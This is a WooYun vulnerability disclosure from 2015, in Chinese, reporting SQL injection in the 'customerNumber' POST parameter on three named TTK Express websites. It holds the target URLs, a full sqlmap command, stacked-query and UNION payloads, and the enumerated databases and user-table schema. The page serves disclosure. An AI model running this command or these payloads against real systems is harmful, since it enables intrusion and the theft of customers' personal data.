当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129907

漏洞标题:天天快递某站SQL注入/导致大量快递信息及会员、管理员信息泄露

相关厂商:ttkdex.com

漏洞作者: 凌零1

提交时间:2015-07-28 12:02

修复时间:2015-08-02 12:04

公开时间:2015-08-02 12:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-28: 细节已通知厂商并且等待厂商处理中
2015-08-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

0_0

详细说明:

都是post的customerNumber参数,找了三个,其它的请自行测试
http://www.ttkdex.ca/control/taxRebateHandler.ashx
post:customerNumber=1&Method=checkCNumber
http://www.ttkdex.com.hk/control/taxRebateHandler.ashx
post:customerNumber=1&Method=checkCNumber
http://www.ttkexpress.us/control/taxRebateHandler.ashx
post:customerNumber=1&Method=checkCNumber

漏洞证明:

C:\Python27\sqlmap>sqlmap.py -u "http://www.ttkexpress.us/control/taxRebateHandl
er.ashx" --data "customerNumber=1&Method=checkCNumber" -p "customerNumber"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:38:54
[11:38:54] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:38:54] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: customerNumber (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: customerNumber=';WAITFOR DELAY '0:0:5'--&Method=checkCNumber
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: customerNumber=' UNION ALL SELECT CHAR(113)+CHAR(112)+CHAR(112)+CHA
R(98)+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(85)+CHAR(105)+CHAR(114)+CHAR(99)+CHAR(1
05)+CHAR(115)+CHAR(79)+CHAR(68)+CHAR(113)+CHAR(106)+CHAR(106)+CHAR(107)+CHAR(113
)-- &Method=checkCNumber
---
[11:38:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008


八个库

available databases [8]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TianTianKuaiDi
[*] TianTianKuaiDiTest


当前库涉及135个表

0SMIBS0GXPU(K}F28([TWV6.jpg


大量用户隐私信息Address,QQ,Email。。。。

Database: TianTianKuaiDi
Table: UserInfo
[29 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| Address | nvarchar |
| Authority | nvarchar |
| Birthday | datetime |
| City | nvarchar |
| Country | nvarchar |
| Department | nvarchar |
| DiscountStart | decimal |
| DiscuntEnd | decimal |
| Email | nvarchar |
| EnglisthName | nvarchar |
| EnterDate | datetime |
| ID | int |
| IsBusinessPerson | bit |
| LastPassErrorTime | datetime |
| Mobile | nvarchar |
| MSN | nvarchar |
| Name | nvarchar |
| PassErrorTimes | int |
| Password | nvarchar |
| Position | nvarchar |
| Province | nvarchar |
| QQ | nvarchar |
| QuestionType | nvarchar |
| RemarkInfo | nvarchar |
| Sex | nvarchar |
| State | nvarchar |
| Telephone | nvarchar |
| TotalScore | int |
| UserAccount | nvarchar |
+-------------------+----------+


隐私信息就不多贴了

修复方案:

过滤!快递公司信息较敏感

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-02 12:04

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-08-03:谢谢!!


漏洞评价:

评论